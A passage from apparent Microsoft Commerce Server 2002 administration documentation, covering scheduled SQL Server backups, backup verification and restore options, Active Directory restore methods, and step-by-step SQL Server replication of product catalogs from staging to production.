    Occurs | Select Weekly.
    Weekly | Select the Tue and Fri check boxes.
    Daily frequency | Select Occurs once at, and then type 2:00:00 AM.
  12. Click OK three times to close all of the dialog boxes.


Step 3: Schedule a transaction log file backup every 30 minutes

To schedule a backup for the Commerce Server database transaction log file

  1. In SQL Server Enterprise Manager, expand a server group, and then expand a server.
  2. Expand Databases, right-click the database you want to back up, and click Properties.
  3. In the <database> Properties dialog box, on the Options tab, in the Recovery section, from the Model drop-down list, select Full, and then click OK.
  4. In the console tree, expand Management, right-click Backup, and then click Back up a database.
  5. In the SQL Server Backup dialog box, do the following:
    Use this | To do this
    Database | From the drop-down list, select Commerce.
    Name | Type CommerceLog.
    Description | Type Commerce transaction log.
    Backup type | Select Transaction log.
    Destination | Click Add to open the Select Backup Destination dialog box.
  6. In the Select Backup Destination dialog box, select Backup device, and then from the Backup device drop-down list, select <New Backup Device>.
  7. In the Backup Device Properties – New Device dialog box, in the Name box, type CSLog, and then click OK.
  8. In the Select Backup Destination dialog box, click OK to return to the SQL Server Backup dialog box.
  9. In the SQL Server Backup dialog box, select Overwrite existing media, select Schedule, and then click ellipsis .
  10. In the Edit Schedule dialog box, do the following:
    Use this | To do this
    Name | Type CSTransLogSch.
    Schedule type | Select Recurring, and then click Change.
  11. In the Edit Recurring Job Schedule dialog box, do the following:
    Use this | To do this
    Occurs | Select Daily.
    Daily frequency Select Occurs every, and then use the drop-down lists to select 30 minutes.

    Note

    • You must select the unit (minutes) before you can set the quantity (30), because the default unit is hours, which has a maximum value of 24.
  12. Click OK three times to close all of the dialog boxes.


Step 4: Schedule differential backups for every day at noon and midnight

To create a differential backup of the Commerce Server <site name>_commerce database

  1. In SQL Server Enterprise Manager, expand a server group, and then expand a server.
  2. Expand Databases, right-click the database you want to back up, point to All Tasks, and then click Backup Database.
  3. In the SQL Server Backup dialog box, do the following:
    Use this | To do this
    Name | Type Differential<current date: mmddyy> for the backup set name.
    Description | Type Differential backup of the Commerce database as a description for the backup set.
    Backup | Select Database - differential.
  4. In the Destination section, click Add to add an existing backup device or to create a new backup device.
  5. In the SQL Server Backup dialog box, in the Overwrite section, do the following:
    Use this | To do this
    Append to media | Select to append the backup to any existing backup on the backup device.
    Overwrite existing media | Select to overwrite any existing backups on the backup device.
  6. In the Schedule section, select Schedule, and click ellipsis .
  7. In the Edit Schedule dialog box, do the following:
    Use this | To do this
    Name | Type CSFullSch.
    Schedule type | Select Recurring, and then click Change.
  8. In the Edit Recurring Job Schedule dialog box, do the following:
    Use this | To do this
    Occurs | Select Daily.
    Daily frequency | Select Occurs every, and then type 12 hours.
  9. Click OK three times to close all of the dialog boxes.


Verifying Backups

Before you restore a backup file, you must ensure that it is valid and that the file contains the expected backups. You can use SQL Server Enterprise Manager to view the property sheet for each backup device. For more detailed information about backups, you can run the following Transact-SQL statements:

  • RESTORE HEADERONLY. You use this statement to obtain header information of a particular backup file or backup set. If more than one backup resides on a backup file, SQL Server returns header information for all backups that are contained in that file.
When you run the statement RESTORE HEADERONLY, you receive the following information:
  • The backup file or backup set name and description
  • The type of backup media that was used
  • The backup method, such as full database, differential, transaction log, or file backup
  • The date and time that the backup was performed
  • The size of the backup
  • The sequence number of a particular backup within a chain of backup files
  • RESTORE FILELISTONLY. You use this statement to obtain information about the original database or transaction log files that are contained in a backup file. Running this statement can help you avoid restoring the wrong backup files.
When you run the statement RESTORE FILELISTONLY, SQL Server returns the following information:
  • The logical name of the database and transaction log files
  • The physical names of the database and transaction log files
  • The type of file, such as a database or transaction log file
  • The filegroup membership
  • The backup set size, in megabytes (MB)
  • The maximum allowed file size in MB
  • RESTORE LABELONLY. You use this statement to obtain information about the backup media that holds a backup file.
  • RESTORE VERIFYONLY. You use this statement to verify that the individual files that make up the backup set are complete and that all backups are readable. SQL Server does not verify the structure of the data that is contained in the backup.

For information about running Transact-SQL statements, see SQL Server Books Online.


Restoring Commerce Server Databases

Restoring a database backup returns the database to the same state it was in when the backup was created. When you restore a database, SQL Server recreates the database and all of its associated files automatically by performing the following steps:

  • All of the data from the backup is copied into the database; the rest of the database is created as empty space.
  • Any uncommitted transactions in the database backup (transactions that were not complete when the backup operation completed originally) are rolled back (undone) to ensure that the database remains consistent.

This process ensures that the restored database is a copy of the database as it existed when the backup operation completed, except that all uncommitted transactions have been rolled back. This is required to restore the integrity of the database.

Additionally, to prevent overwriting a database unintentionally, the restore operation can perform a safety check automatically. The restore operation fails if:

  • The database named in the restore operation already exists on the server and the database name does not match the database name recorded in the backup set.
  • The database named in the restore operation already exists on the server, but it is not the same database as the database contained in the database backup. For example, the database names are the same, but each database was created differently.
  • One or more files need to be created automatically by the restore operation (regardless of whether the database already exists), but files with the same file name as those that need to be created already exist.

These safety checks can be disabled if the intention is to overwrite another database.

Every business recovery plan must include backup and restoration strategies. When a domain controller fails, either due to environmental hazards or due to equipment malfunction, you should first repair the domain controller itself and then recover the data. Two features of Microsoft Active Directory directory service enable it to recover lost data: the database uses log files to recover lost data, and the directory service uses replication to recover data from other servers in the domain.

There are two methods of restoring Active Directory:

  • Non-authoritative restore (the default). Use when at least one other domain controller in the domain is available and working. After a non-authoritative restore, Active Directory replication automatically begins propagating any changes from other domain controllers that occurred after the time of the backup.
  • Authoritative restore. Use only when you have accidentally deleted critical data from the local domain controller and the delete has propagated out to other domain controllers.
    Note
    • Do not perform an authoritative restore if the local domain controller is not a working domain controller or if it is the only domain controller in the domain.

You can use one of several tools to repair the domain controller and recover Active Directory. For more information about Windows 2000 business protection, including backups, restores, and repairs, see the Windows 2000 Server Operations Guide, which is part of the Microsoft Windows 2000 Server Resource Kit, available at http://go.microsoft.com/fwlink/?LinkId=6684 . Also, see Windows 2000 Server Help.

This section contains:

  • Using the Transaction Log File to Restore Commerce Server Databases to Moment of Failure
  • Restoration Best Practices
  • Specifying Restoration Options
  • Interrupted Backup and Restore Operations


Using the Transaction Log File to Restore Commerce Server Databases to Moment of Failure

The SQL Server recovery process uses the transaction log file to ensure that your database is consistent. SQL Server examines the transaction log file from the last checkpoint to the point at which SQL Server failed or was shut down. A checkpoint is like a bookmark, marking the point at which all data changes are written to the database. If the transaction log file has committed transactions that have not yet been written to the database, SQL Server rolls these transactions forward, applying the changes to the database. If the transaction log file contains any uncommitted transactions, SQL Server rolls back these transactions. Uncommitted transactions are not written to the database.


Restoration Best Practices

This topic lists the best practices for restoring Commerce Server.

  • Restrict access to the database before you restore backup.

    It is important to restrict access to a database before restoring it. Set the Members of db_owner, dbcreator, or sysadmin database option to True.

  • Backup the transaction log file before you restore backup.

    Back up the transaction log file to ensure database consistency. The transaction log file backup is used to recover the database as the last step in the restore process. If you do not back up the transaction log file before you restore backups, you will lose any data modifications that occurred between the last transaction log file backup and the time when the database was taken offline.

  • Verify your backup files.

    Use the Transact-SQL statements RESTORE HEADERONLY, RESTORE FILELISTONLY, RESTORE LABELONLY, and RESTORE VERIFYONLY to verify backup files before you restore them.

  • Restore backups in the correct order.

    If you have created different types of backups, you must restore them in the correct order to prevent data loss. Restore backups in the following order:

    1. Most recent full database backup
    2. Most recent differential backup
    3. Most recent transaction log file backup
  • Specify the RECOVERY or NORECOVERY option.

    Specify the RECOVERY or NORECOVERY option to prevent administrative errors during the restore process and to make the statement easier to read. The RECOVERY option is the SQL Server default.


Specifying Restoration Options

You can specify the following options for a SQL Server restore process:

  • RECOVERY. You use this option with the last transaction log fiile to be restored or with a full database restore to return the database to a consistent state. SQL Server rolls back any uncommitted transactions in the transaction log file and rolls forward any committed transactions. The database is available for use after the recovery process is complete.
  • NORECOVERY. You use this option when you have multiple backups to restore. Consider the following when you use the NORECOVERY option:
    • Specify the NORECOVERY option for all backups except the last backup to be restored.
    • SQL Server neither rolls back any uncommitted transactions in the transaction log file nor rolls forward any committed transactions.
    • The database is unavailable for use until the database is recovered.

When you use the RESTORE statement, use the following options to specify how the restore is done:

  • FILE. You use this option to select specific backups from a backup file that contains multiple backups. You must specify a file number that corresponds to the order in which the backup exists within the backup file.
  • RESTART. You use this option to continue an interrupted recovery operation. The recovery will continue from the point at which the previous attempt was interrupted.
  • MOVE...TO. Use this option to specify where to restore the backup files if you are restoring files to a different location, such as a different disk, server, or standby SQL Server.

    Note

    • You can also use the system stored procedures sp_attach_db or sp_attach_single_file_db to move a database from one server to another by copying the database files and then attaching them to the master database.
  • REPLACE. You use this option only if you want to replace an existing database with data from a backup of a different database.

    Caution

    • If you use the REPLACE option, SQL Server does not perform a safety check.

The following code example shows how to use SQL Server restore options:

RESTORE DATABASE {database_name|@database_name_var}
  [FROM <backup_device>[,...n]
  [WITH
    [ FILE=file_number]
    [[,] MOVE 'logical_file_name' TO 'operating_system_file_name']
    [[,] REPLACE]
    [[,] {NORECOVERY|RECOVERY|STANDBY = undo_file_name}]]
    [[.] RESTART
Where <backup_device> is
    {{backup_device_name|@backup_device_name_var}|
    {DISK|TAPE|PIPE} = 'temp_backup_device'|
@temp_backup_device_var}
  }

This section contains:

  • Restoring Damaged User Databases
  • Restoring from a Full Database Backup
  • Restoring from a Differential Backup
  • Restoring a Transaction Log File Backup


Restoring Damaged User Databases

If a database becomes damaged, use the RESTORE statement or SQL Server Enterprise Manager to restore over the existing database. When you restore over an existing database, you do not need to delete the damaged database, and SQL Server automatically recreates the database files and objects.


Restoring from a Full Database Backup

When you restore a database from a full database backup, SQL Server recreates the database and all of its associated files and then places them in their original locations. All database objects are recreated automatically. You do not need to rebuild the database schema before you restore the database.

You typically will restore from a full database backup when:

  • The physical disk of the database is damaged
  • The entire database is damaged, corrupted, or deleted
  • An identical copy of the database is being restored to a different SQL Server

Use the following procedure to restore a database from a full database backup.

To restore a database from a full database backup

  1. In SQL Server Enterprise Manager, expand a server group, and then expand a server.
  2. Expand Databases, right-click the database you want to restore, point to All Tasks, and then click Restore Database.
  3. In the Restore database dialog box, do the following:
    Use this | To do this
    Restore as database | From the drop-down list, select a database name, or type a new name for the restored database.
    Restore | Select Database to restore the database.
    Show backups of database | From the drop-down list, select a database.
    First backup to restore | From the drop-down list, select the most recent full database backup for the database.
  4. To change the restore from location, click Properties.
  5. In the Backup Set Properties dialog box, click Change.
  6. In the Choose Restore Devices dialog box, click the device name for the restoration, and then click OK.
  7. Click OK to close the Backup Set Properties dialog box.
  8. In the Restore database dialog box, click OK to start the restore process.


Restoring from a Differential Backup

When you restore from a differential database backup, SQL Server restores only the parts of the database that have changed since the last full database backup. SQL Server returns the database to the exact condition it was in when the differential backup was performed.

It often takes less time to restore differential backups than it does to apply a series of transaction log files that represent the same database activity.

Consider the following when you restore from a differential backup:

  • Restore the full database backup before you restore a differential backup.
  • Specify the NORECOVERY option when there are remaining transaction log files to be restored; otherwise, specify the RECOVERY option.

Use the following procedure to restore a database from a differential backup.

To restore a database from a differential backup

  1. In SQL Server Enterprise Manager, expand a server group, and then expand a server.
  2. Expand Databases, right-click the database you want to restore, point to All Tasks, and then click Restore Database.
  3. In the Restore database dialog box, do the following:
    Use this | To do this
    Restore as database | From the drop-down list, select a database name, or type a new name for the restored database.
    Restore | Select Database to restore the database.
    Show backups of database | From the drop-down list, select a database.
    First backup to restore | From the drop-down list, select the most recent differential backup for the database.
  4. To change the restore from location, click Properties.
  5. In the Backup Set Properties dialog box, click Change.
  6. In the Choose Restore Devices dialog box, click the device name for the restoration, and then click OK.
  7. Click OK to close the Backup Set Properties dialog box.
  8. In the Restore database dialog box, click OK to start the restore process.


Restoring a Transaction Log File Backup

When you restore from a transaction log file backup, SQL Server restores changes to the database that are recorded in the transaction log file. You will typically restore transaction log files in order to apply changes that are made to the database since the last full database or differential backup. You can restore transaction log files to restore up to a specific point in time.

You must restore a full database backup before you restore transaction log files. Use the following procedure to restore a transaction log file backup.

To restore a transaction log file backup

  1. In SQL Server Enterprise Manager, expand a server group, and then expand a server.
  2. Expand Databases, right-click the database you want to restore, point to All Tasks, and then click Restore Database.
  3. In the Restore database dialog box, do the following:
    Use this | To do this
    Restore as database | From the drop-down list, select a database name, or type a new name for the restored database.
    Restore | Select Database to restore the database.
    Show backups of database | From the drop-down list, select a database.
    First backup to restore | From the drop-down list, select the most recent transaction log file to restore.
  4. Click Point in time restore.
  5. In the Point in time Restore dialog box, in the Date box, type the date up to which you want to restore, in the Time box, type the time up to which you want to restore, and then click OK.
  6. In the Restore database dialog box, on the Options tab, click Leave database operational. No additional transaction log files can be restored.
  7. Click OK to start the restore process.


Interrupted Backup and Restore Operations

If a backup or restore operation is interrupted (for example, due to a power loss on the server), it is possible to restart the backup or restore operation from the point it was interrupted. This can be useful if large databases are restored onto other servers as an automated process. If the automated process fails near the end of the restore operation (if, for example, there is a power failure), a system administrator can restart the restore operation from where it left off, rather than restoring the entire database from the beginning.

See Also

Minimizing Backup and Recovery Times in Mission-Critical Environments

Backing Up Your Site


Replicating Catalog Content

This section explains how to deploy Commerce Server 2002 product catalogs from a staging environment to a production environment. It provides step-by-step instructions for replicating catalog content in a sample scenario, including:

  • Configuring the test environment for the scenario
  • Implementing configuration changes to support SQL Server 2000 replication
  • Resolving issues that remain after the deployment of the data

The steps in this section are outlined for a sample test environment that includes a single staging server and a production database server. You can extend this model to accommodate custom scenarios for small and large installations of Commerce Server 2002, including distributed installation environments and SQL Server clustered environments.

This section contains:

  • Sample Topology for Replicating Catalog Content. Describes a sample topology for replicating catalog content, and it explains how you configure the staging and production environments for replication.
  • Configuring a SQL Publication to Replicate a Catalog. Explains how to configuring a SQL publication to support a one-way replication of a product catalog on a scheduled basis.
  • Invoking Catalog Replication On Demand. Explains how to invoke a SQL publication to replicate a catalog on demand instead of on a scheduled.
  • Physical Schema Changes to a Staging Database. Describes the catalog schema changes that you must replicate manually.
  • Replicating Materialized Virtual Catalogs. Explains how to replicate virtual catalogs.


Sample Topology for Replicating Catalog Content

This topic describes a sample topology for replicating catalog content, and it explains how you configure the staging and production environments for replication. The following figure shows the sample topology.

Sample topology for replicating catalog content.

The installation procedures for the staging server and the production server are the same:

  1. Configure the Database Server
  2. Install SQL Server
  3. Unpack the Solution Site
  4. Populate the Catalog with Data

Step 1: Configure the Database Server

The two database servers used in the scenario are named as follows:

  • THORSTAGE. This server represents a staging environment.
  • THORPROD1. This server represents the first catalog database server in the production environment. There could be additional catalog database servers.

The production server is on a separate subnet from the staging server.

Both servers are configured with the following software:

  • Microsoft Windows 2000 Advanced Server
  • Microsoft Windows 2000 Service Pack 2
  • Microsoft Commerce Server 2002
  • Microsoft SQL Server 2000 Enterprise Edition
  • Microsoft SQL Server 2000 Service Pack 1

Step 2: Install SQL Server

The steps for installing SQL Server are the same for each of the two environments: on both computers, install SQL Server with the standard configuration options.

After you install SQL Server, on both servers create the following databases to house the data for individual database configurations. (You will use these databases later when you unpack the Solution Sites.)

  • retail_commerce_BDsec. This database is created for the tables specific to the Commerce Server Business Desk Security modules, a new feature in Commerce Server 2002.
  • retail_commerce_campaigns. The Campaigns database is created for the tables that support the advertising campaign features in Commerce Server 2002.
  • retail_commerce_profiles. The Profiles database supports the Profiling System.
  • retail_commerce_trans. This database is created to hold the transactions tables.
  • retail_commerce_transcfg. This database contains the configuration tables for transactions.
  • retail_commerce_catalog. This database contains the tables specific to the product catalogs. This database is the focus of this scenario.

Step 3: Unpack the Solution Site

After you create the database tables, install the Retail Solution Site on both servers. Using Commerce Server Site Packager, select the Custom option to unpackage the Retail Solution Site.

When you unpackage the Retail Solution Site, you will be prompted to define the database connection strings, as shown in the following sample screen. In your installation, modify your connection strings to match the sample screen.

This sample screen was taken from the staging server, THORSTAGE. It shows the final configuration of the database strings configured using the custom databases.

Complete the rest of the configuration steps to finish installing the site. You should have a fully configured Retail Solution Site available on each server.

Step 4: Populate the Catalog with Data

In this step, you import the AdvWorksCatalog, which populates your Commerce Server catalog with data.

To pre-populate a catalog on the staging server (THORSTAGE)

  1. On THORSTAGE, import a new XML catalog using Business Desk. For instructions, see Importing an XML Catalog File.

    The catalog used in this scenario is the AdvWorksCatalog.xml file (the Adventure Works Catalog) located in:

    \Program Files\Microsoft Commerce Server 2002\SDK\Samples\Sitelets\Catalog

    This is the same XML file used in the Business-to-Consumer Business Desk tutorial.

  2. Publish the imported Adventure Works catalog on THORSTAGE. For instructions about publishing a catalog, see Refreshing and Publishing a Catalog.

    After you publish the Adventure Works catalog, your staging server will have a fully configured Retail Solution Site with the catalog installed.

  3. To validate that the Adventure Works catalog has been published, browse to the URL for your new retail site.

See Also

Using Site Packager

Importing an XML Catalog File

Refreshing and Publishing a Catalog


Configuring a SQL Publication to Replicate a Catalog

Preparing the server running SQL Server to participate in a replication environment is outside the scope of this document; however, the following configurations were made to support transactional replication between the staging server and the production servers:

  • The staging server was set up as the publisher and the distributor.
  • The distribution database was configured on the staging server.
  • The two production servers were added as subscribers.
    Note
  • It is recommended that a qualified SQL Server administrator provide guidance in configuring replication for your environment.

Configuring the publication to support a one-way replication of the product catalog involves the following steps:

  1. Creating a Replication Publication of all the tables, the catalog-specific stored procedures, and user-defined functions.
  2. Generating the Pre-Snapshot.sql script to support the initial snapshot replication to subscribers.
  3. Modifying the Pre-Snapshot.sql script to support specific workarounds to ensure a successful, ongoing replication.
  4. Updating the publication with the Modified Script.
  5. Adding Subscribers to the Publication.
  6. Updating full-text Indexes in production.
  7. Refreshing the catalog cache.
  8. Invoking catalog replication on demand.


Step 1: Creating a Replication Publication

Use the following procedure to create a replication publication.

To create a replication publication

  1. In SQL Enterprise Manager, right-click the catalogs database you want to replicate, click New, and then click Publication.

    The Create Publication Wizard starts. For detailed information about this wizard, see SQL Server Books Online.

  2. Click Next.
  3. In the Choose Publication Database dialog box, select retail_commerce_catalog, and then click Next.
  4. In the Select Publication Type dialog box, select Transactional Publication, and then click Next.
  5. In the Specify Subscriber Types dialog box, select Servers running SQL Server 2000, and then click Next.
  6. In the Specify Articles dialog box, select the following articles:
    • All tables except CatalogStatus and <Catalog Name>_CatalogDeletedProducts.
  7. Click Article Defaults.
  8. In the Default Article Type dialog box, select Table Articles.
  9. In the Default Table Article Properties dialog box, on the Commands tab, clear the following three check boxes:
    • Replace INSERT commands with this stored procedure call
    • Replace UPDATE commands with this stored procedure call
    • Replace DELETE commands with this stored procedure call
      Note
    • If you do not perform this step, errors may occur during replication if you have catalogs with spaces or hyphens in the catalog name.
  10. Click OK.
  11. Click Next.
  12. In the Article Issues dialog box, verify that the following are displayed:

    The following published tables contain IDENTITY columns:

 [dbo].[CatalogDefinitions]
 [dbo].[CatalogGlobal]
 [dbo].[AdventureWorksCatalog_CatalogProducts]

This warning message can be ignored.

  1. In the Article Issues dialog box, click Next.
  2. In the Select Publication Name and Description dialog box, type a name for your new publication, and a description, or accept the default name and description, and then click Next.
  3. In the Customize the Properties of the Publication dialog box, select No, create the publication as specified, and then click Next.
  4. In the Completing the Create Publication Wizard dialog box, click Finish.

SQL Server 2000 creates the new publication using the information you entered. If this is the first publication, it also creates the appropriate agents to monitor and notify you that it has finished configuring the publication.

Proceed to the next step, Step 2: Generating the Pre-Snapshot.sql Script.


Step 2: Generating the Pre-Snapshot.sql Script

The Pre-Snapshot.sql script configures the production database with the required catalog schema elements so that it will be ready to receive replication of data.

After running the Create Publication Wizard, you must generate a custom script, and then modify the script to establish the proper destination environment for the subscriber servers in production.

In this step, you will generate a script named Pre-Snapshot.sql to create the views, stored procedures, user defined functions, tables, and free-text indexes on the production server.

To generate the Pre-Snapshot.sql script

  1. In SQL Enterprise Manager, right click the staging database node, point to All Tasks, and then click Generate SQL Script.
  2. In the Generate SQL Script dialog box, click Show All to show all objects available for replication.
  3. Select Script all objects to have all the catalog objects scripted.
  4. In the Generate Scripts dialog box, on the Options tab, in the Table Scripting Options section, select Script indexes, Script full-text indexes, and Script PRIMARY keys, FOREIGN keys, defaults, and check constrains.
  5. In the File Options section, select International text (Unicode).
  6. In the Files to Generate section, select Create one file, and then click OK.
  7. Save the file to the following path and file name:

    C:\Program files\Microsoft SQL Server\MSSQL\Install\Pre-Snapshot.sql

The script is generated and saved as Pre-Snapshot.sql.

Proceed to the next step, Step 3: Modifying the Pre-Snapshot.sql Script.


Step 3: Modifying the Pre-Snapshot.sql Script

After you generate the Pre-Snapshot.sql script, you must modify the script and make the following changes:

  • Remove the IDENTITY fields in the tables
  • Adjust the TIMESTAMP fields
  • Adjust a Constraint Statement


Remove the IDENTITY fields in the tables

During the creation of the publication, the IDENTITY fields are not replicated to the destination subscriber database, due to a constraint on fields with IDENTITY values and the intrinsic nature of those fields. You must change the state in the script for the following tables and fields:

  • CatalogCustomCatalogs, CustomCatalogID
  • CatalogDefinitions, DefinitionID
  • CatalogGlobal, CatalogID
  • CatalogStatus, StatusID
  • CatalogName_CatalogProducts, oid

The following code example shows how to change the script:

CREATE TABLE [dbo].[CatalogCustomCatalogs] (

            [CustomCatalogName] [nvarchar] (128) COLLATE SQL_Latin1_General_CP1_CI_AS NOT NULL ,

            [CatalogName] [nvarchar] (128) COLLATE SQL_Latin1_General_CP1_CI_AS NOT NULL ,

            [CustomCatalogID] [int] NOT NULL ,

            [TimeStamp] [binary] (8) NOT NULL

) ON [PRIMARY]

GO

CREATE TABLE [dbo].[CatalogDefinitions] (

            [DefinitionName] [nvarchar] (128) COLLATE SQL_Latin1_General_CP1_CI_AS NOT NULL ,

            [DefinitionID] [int] NOT NULL ,

            [DefinitionType] [int] NULL

) ON [PRIMARY]

GO

CREATE TABLE [dbo].[CatalogGlobal] (

            [CatalogName] [nvarchar] (128) COLLATE SQL_Latin1_General_CP1_CI_AS NOT NULL ,

            [Locale] [int] NULL ,

            [StartDate] [datetime] NULL ,

            [EndDate] [datetime] NULL ,

            [VariantID] [nvarchar] (128) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ,

            [ProductID] [nvarchar] (128) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ,

            [Currency] [nvarchar] (128) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ,

            [WeightMeasure] [nvarchar] (128) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ,

            [TimeStamp] [binary] (8) NOT NULL ,

            [CatalogID] [int] NOT NULL ,

            [CustomCatalog] [bit] NULL ,

            [FreeTextIndexCreated] [datetime] NULL ,

            [ProductTableUpdated] [datetime] NULL ,

            [FullTextCatalog] [sysname] NULL ,

            [DefaultLanguage] [nvarchar] (10) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ,

            [ReportingLanguage] [nvarchar] (10) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ,

            [IsVirtualCatalog] [smallint] NULL ,

            [VirtualCatalogStatus] [smallint] NULL ,

            [CatalogFlags] [int] NULL ,

            [DisplayName_en-US] [nvarchar] (100) COLLATE SQL_Latin1_General_CP1_CI_AS NULL

) ON [PRIMARY]

GO

CREATE TABLE [dbo].[CatalogStatus] (

            [StatusID] [int] NOT NULL ,

            [Operation] [nvarchar] (15) COLLATE SQL_Latin1_General_CP1_CI_AS NOT NULL ,

            [StartDate] [datetime] NOT NULL ,

            [EndDate] [datetime] NULL ,

            [Status] [nvarchar] (10) COLLATE SQL_Latin1_General_CP1_CI_AS NOT NULL ,

            [Result] [ntext] COLLATE SQL_Latin1_General_CP1_CI_AS NULL

) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]

GO

CREATE TABLE [dbo].[Hardware_CatalogProducts] (

            [CategoryName] [nvarchar] (128) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ,

            [oid] [int] NOT NULL ,

            [DefinitionName] [nvarchar] (128) COLLATE SQL_Latin1_General_CP1_CI_AS NOT NULL ,

            [IsSearchable] [smallint] NULL ,

            [cy_list_price] [money] NULL ,

            [UseCategoryPricing] [bit] NULL ,

            [TimeStamp] [varbinary] (8) NULL ,

            [OriginalPrice] [money] NULL ,

            [i_ClassType] [int] NULL ,

            [ParentOID] [int] NOT NULL ,

            [ProductID] [nvarchar] (256) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ,

            [VariantID] [nvarchar] (256) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ,

            [LastModified] [datetime] NOT NULL ,

            [CatalogName] [nvarchar] (128) COLLATE SQL_Latin1_General_CP1_CI_AS NOT NULL ,

            [PrimaryParentCategory] [nvarchar] (128) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ,

            [prodid] [nvarchar] (20) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ,

            [SKU] [nvarchar] (20) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ,

            [Image_filename] [nvarchar] (256) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ,

            [Image_height] [int] NULL ,

            [Image_width] [int] NULL ,

            [Benefits] [nvarchar] (2000) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ,

            [Features] [nvarchar] (4000) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ,

            [Licencetype] [nvarchar] (50) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ,

            [Manufacturer] [nvarchar] (30) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ,

            [Os] [nvarchar] (30) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ,

            [product name] [nvarchar] (50) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ,

            [producturl] [nvarchar] (255) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ,

            [System Requirements] [nvarchar] (2000) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ,

            [Cordless] [nvarchar] (5) COLLATE SQL_Latin1_General_CP1_CI_AS NULL ,

            [ScrollWheel] [nvarchar] (5) COLLATE SQL_Latin1_General_CP1_CI_AS NULL

) ON [PRIMARY]

Go


Adjust TIMESTAMP fields

You must change the TIMESTAMP field value on three tables. The TIMESTAMP fields are updated every time a row is modified for any reason. When this modification is replicated without any change to the table, the replication fails. Since the replication attempts to update the field in the row, it results in a break (the TIMESTAMP field is not updateable outside the SQL system affecting the change).

A nullable TIMESTAMP variable is semantically equivalent to a varbinary (8) and a non-nullable TIMESTAMP variable is semantically equivalent to a binary (8). There are three tables that require this change.

Change the following two tables to Binary (8):

  • CatalogCustomCatalogs, TimeStamp field
  • CatalogGlobal, TimeStamp field

Change the following table to a Varbinary (8):

  • CatalogName_CatalogProducts, TimeStamp


Adjust a constraint statement

You must edit the Pre-Snapshot.sql script to adjust DROP CONSTRAINT statements for hyphens in the CatalogName_Language_Catalog tables.

A foreign key constraint will make the Pre-Snapshot.sql script fail due to a dash in the statement that is not "escaped" properly. The statement is hidden inside an IF Exists statement, as follows:

if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[FK_AdventureWorksCatalog_en-US_Catalog]') and OBJECTPROPERTY(id, N'IsForeignKey') = 1)
ALTER TABLE [dbo].[AdventureWorksCatalog_en-US_Catalog] DROP CONSTRAINT FK_AdventureWorksCatalog_en-US_Catalog
GO

To make this run script successfully, add a set of brackets around the variable name at the end of the DROP constraint call, as shown in the following code:

if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[FK_ AdventureWorksCatalog_en-US_Catalog]') and OBJECTPROPERTY(id, N'IsForeignKey') = 1)
ALTER TABLE [dbo].[ AdventureWorksCatalog_en-US_Catalog] DROP CONSTRAINT [FK_AdventureWorksCatalog_en-US_Catalog]
GO

This issue may arise in other constraints if you have multiple languages or catalogs. After you have made these changes, your script is ready to be included in the publication. The next step is to update the publication with the modified script.

Proceed to the next step, Step 4: Updating the Publication with the Modified Script.


Step 4: Updating the Publication with the Modified Script

In this procedure, you update the publication with the script that you modified in Step 3: Modifying the Pre-Snapshot.sql Script.

To update the publication

  1. In SQL Enterprise Manager, right-click the publication created in Step 1: Creating a Replication Publication, and then click Properties.
  2. In the Publication Properties – retail_commerce_catalog dialog box, on the Snapshot tab, in the Additional scripts section, add the full path and location of the Pre-Snapshot.sql script you just modified, and then click Apply.
  3. On the Articles tab, modify the default Table Article Properties.
  4. In the Table Article Properties – CatalogCustomCatalogs dialog box, select Keep the existing table unchanged.

    If you do not select this option and leave the setting in the default configuration, all the work done by the script during the initial snapshot replication will be removed. Since these tables are scripted to be created during the initial snapshot, leaving the setting to DROP the existing table and recreate it will recreate the table according to the default configuration schema in the staging environment, which must be changed using the pre-snapshot script for replication to work properly.

  5. Click OK, and then save all the configuration changes.

You are now ready to add the subscribers to the publication.

Proceed to the next step, Add Subscribers to the Publication.


Step 5: Adding Subscribers to the Publication

Subscribers are the servers located in the production environment. For more information about subscribers, see the SQL Server 2000 Books Online.

To add subscribers to the publication

  1. In SQL Enterprise Manager, expand Replication, right-click Subscription, and then click New Push Subscription.

    The Push Subscription Wizard starts.

  2. In the Welcome to the Push Subscription Wizard, click Next.
  3. In the Choose Subscribers dialog box, select the subscribers that are enabled in the distribution database, then click Next.
  4. In the Choose Destination Database dialog box, select the subscription database name you want if you have multiple subscriptions on the server, and then click Next.
  5. In the Select Distribution Agent Schedule dialog box, select Using the following schedule, click Change, and then customize the schedule.
  6. Click Next.
  7. In the Initialize Subscription dialog box, select Yes, initialize the schema and data (since the table schema does not exist on the destination servers), and select Start the Snapshot Agent to begin the initialization process immediately.

    If you do not select to start the Snapshot Agent, you must manually start it to begin the replication process.

  8. Click Next.
  9. In the Start Required Services dialog box, click Next.
  10. Click Finish.

In the replication monitors, you will see the replication begin to migrate the data to the production servers.


Step 6: Updating Full Text Indexes in Production

The scripts that you generated to create the schema on the production servers will also create the full-text indexes.

When changes to catalogs are replicated, the full-text indexes in the production database will need to be updated. There are a few ways this can be achieved:

  • Enable change tracking
  • Set up a scheduled job to update the full-text indexes
  • Manually start the full-text re-indexing


Step 7: Refreshing the Catalog Cache

After the catalog data has been fully migrated to the production site, the site needs to be dynamically refreshed to reflect the changes.

For the purposes of this scenario, open Commerce Server Business Desk on each of the production servers, and refresh the catalog. For instructions, see Refreshing and Publishing a Catalog. This step updates that catalog cache in the Retail Solution Sites.

